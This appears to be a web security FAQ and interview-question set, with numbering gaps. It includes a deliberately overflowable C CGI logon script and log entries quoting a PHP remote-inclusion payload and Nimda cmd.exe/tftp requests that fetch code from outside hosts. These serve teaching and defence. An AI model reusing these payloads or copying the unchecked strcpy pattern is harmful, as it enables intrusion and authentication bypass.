1. How can I secure my client computers against my users?
One way to make it harder for the local user to do any harm to the system is to have a local PC without any hard disk or floppy disk. To boot, the system will need to talk to a boot server over the network.
2. The file is called logon_validate and a typical logon request looks like this?
You have been asked to review the source code for a compiled script that is being used to validate logon credentials for a web application. The file is called "logon_validate" and a typical logon request looks like this -
"GET /cgi-bin/logon_validate?login=test&password=test"
The source code is shown below -
void show_error(void) {
// AUTHENTICATION ERROR
exit(-1);
}
int main(int argc, char **argv) {
char error_on_auth='1';
char user[128];
char pass[128];
char *ch_ptr_begin;
char *ch_ptr_end;
/**********************************/
/* Get Username from Query String */
/**********************************/
ch_ptr_begin=(char *)strstr
(****QUERY_STRING****,"login=");
if (ch_ptr_begin==NULL)
show_error();
ch_ptr_begin+=6;
ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");
if (ch_ptr_end==NULL)
show_error();
*(ch_ptr_end++)=' ';
strcpy(user,ch_ptr_begin);
/**********************************/
/* Get Password from Query String */
/**********************************/
ch_ptr_begin=(char *)strstr(ch_ptr_end,"password=");
if (ch_ptr_begin==NULL)
show_error();
ch_ptr_begin+=9;
ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");
if (ch_ptr_end!=NULL) *(ch_ptr_end++)=' ';
strcpy(pass,ch_ptr_begin);
if ((strcmp(user,GOOD_USER)==0) &&
(strcmp(pass,GOOD_PASS)==0))
error_on_auth='0';
if (error_on_auth=='0') {
// AUTHENTICATION OK!!
} else {
// AUTHENTICATION ERROR
show_error();
}
// return(0); hehe could be evil ;PPPPP
exit(0);
}
This pseudo-code is taken from the NGSec Web Auth Games
http://quiz.ngsec.biz:8080/game1/level6/replicant.php
Do you see any problems with this script?
How could an attacker exploit this script to bypass
the authentication mechanisms in this script?
What are some mitigation options?
Note: Goal of question - This is most likely the most complex question being asked during the interview due to the fact that the applicant will need to apply multiple layers of analysis, including both the attacker and defender perspectives.
3. What application generated the log file entry below? What type of attack is this?
What application generated the log file entry below? What type of attack is this? Assuming the index.php program is vulnerable, was this attack successful?
========================================
Request: 200.158.8.207 - - [09/Oct/2004:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743
Handler: cgi-script
----------------------------------------
POST /index.php HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Accept: */*
Accept-Language: en-us
Content-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla 4.0 (Linux)
Content-Length: 65
X-Forwarded-For: 200.158.8.207
mod_security-message: Access denied with code 403. Pattern match "unamex20-a" at POST_PAYLOAD
mod_security-action: 403
65
lid=http://th3.ownz.p5.org.uk/lila.jpg?&cmd=cd /tmp;id;lsuname -a
----------------------------------------
Note: Goal of question - to verify that the applicant can interpret various web log files, identify attacks and possible impacts. The Mod_Security Apache module generated this data in the audit_log file. The log entry indicates that an attacker is attempting to exploit a PHP file inclusion vulnerability in the index.php script. The commands being passed are in the POST PAYLOAD of the command. This attack was not successful for the following two reasons:
· The mod_security-message header indicates that Mod_Security blocked this request based on a converted Snort web-attack rule when it identified the "uname -a" data in the POST PAYLOAD.
· The attacker also made a typo in the OS commands being passed in the POST PAYLOAD. She did not include a semicolon ";" between the ls and uname commands. The target host would fail to execute the "lsuname" command.
Imagine that we are running an Apache reverse proxy server and one of the servers we are proxy for is a Windows IIS server. What does the log entry suggest has happened? What would you do in response to this entry?
68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/
cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:23:48 -0500] "GET /c/winnt/system32/
cmd.exe?/c+tftp%20-%2068.48.142.117%20GET%20cool.dll%20c:httpodbc.dll HTTP/1.0" 200 566 "-" "-"
Note: Goal of question - To see if the applicant is fluent at reading web server log files in the Common Log Format (CLF). In this scenario, the client system (68.48.142.117) is infected with the Nimda worm. These requests will not affect our Apache proxy server since this is a Microsoft vulnerability. While it does not impact Apache, the logs do indicate that the initial request was successful (status code of 200). The Nimda worm will only send the level 2 request (trying to use Trivial FTP to infect the target) if the initial request is successful. Depending on the exact proxying rules in place, it would be a good idea to inspect the internal IIS server to verify that it has not been compromised.
If you were not using Apache as the reverse proxy, what Microsoft application/tool could you use to mitigate this attack?
You could use either Microsoft's Internet and Security Acceleration (ISA) server as a front-end proxy or implement URLScan on the target IIS server. The urlscan.ini file has the AllowDotInPath directive which will block directory traversal attempts.
Note: Goal of question - Determine if the applicant utilizes computer security resources such as CERT, SANS Internet Storm Center or ICAT. Email lists such as securityfocus, bugtraq, SANS @RISK, etc. are also good resources. Recent examples of threats will vary depending on current events, but issues such as new web based worms (PHP Santy Worm) or applications, which are in wide use (awstats scripts) are acceptable.
6. What is the Microsoft Baseline Security Analyzer?
The Microsoft Baseline Security Analyzer (MBSA) is a graphical and command-line interface developed by Microsoft that can perform local or remote scans of Windows systems, assessing any missing hotfixes and vulnerabilities in certain Microsoft products. See the Microsoft Baseline Security Analyzer page on TechNet for more information.
7. What is the IIS Lockdown Tool?
This tool is part of the IIS Lockdown Wizard and it works by turning off unnecessary features of the IIS server and thereby reducing the attack surface available to an attacker. This tool also works in conjunction with URLscan to provide multiple layers of defense and protection. See the IIS Lockdown Tool page on TechNet describes its features and characteristics as well as provides steps for download and setup.
8. How do I secure Windows 2000 and IIS 5.0?
Security is a huge concern for anyone involved in business processes, management, and administration. A good resource of information on maintaining security in Windows 2000 and IIS is the security section of the Windows 2000 site. Also see Internet Information Services (IIS) on the Microsoft TechNet site, where you can find information on securing IIS servers in addition to resources that will help you maintain a secure system and stay current with any releases, updates, and tools.
9. Are server-side includes insecure?
Server side includes, snippets of server directives embedded in HTML documents, are another potential hole. A subset of the directives available in server-side includes instruct the server to execute arbitrary system commands and CGI scripts. Unless the author is aware of the potential problems it's easy to introduce unintentional side effects. Unfortunately, HTML files containing dangerous server-side includes are seductively easy to write.
Some servers, including Apache and NCSA, allow the Web master to selectively disable the types of includes that can execute arbitrary commands.
10. Are some Web server software programs more secure than others?
Again, the answer is yes, although it would be foolhardy to give specific recommendations on this point. As a rule of thumb, the more features a server offers, the more likely it is to contain security holes. Simple servers that do little more than make static files available for requests are probably safer than complex servers that offer such features as on-the-fly directory listings, CGI script execution, server-side include processing, and scripted error handling.
Version 1.3 of NCSA's Unix server contains a serious known security hole. Discovered in March of 1995, this hole allows outsiders to execute arbitrary commands on the server host. If you have a version 1.3 httpd binary whose creation date is earlier than March 1995 don't use it! Replace it with the patched 1.3 server or with version 1.4 or higher (available at the same site). The Apache plug-in replacement for NCSA is also free of this bug.
Servers also vary in their ability to restrict browser access to individual documents or portions of the document tree. Some servers provide no restriction at all, while others allow you to restrict access to directories based on the IP address of the browser or to users who can provide the correct password. A few servers, primarily commercial ones (e.g. Netsite Commerce Server, Open Market), provide data encryption as well.
The WN server, by John Franks, deserves special mention in this regard because its design is distinctively different from other Web servers. While most servers take a permissive attitude to file distribution, allowing any document in the document root to be transferred unless it is specifically forbidden, WN takes a restrictive stance. The server will not transfer a file unless it has been explicitly placed on a list of allowed documents. On-the-fly directory listings and other "promiscuous" features are also disallowed.
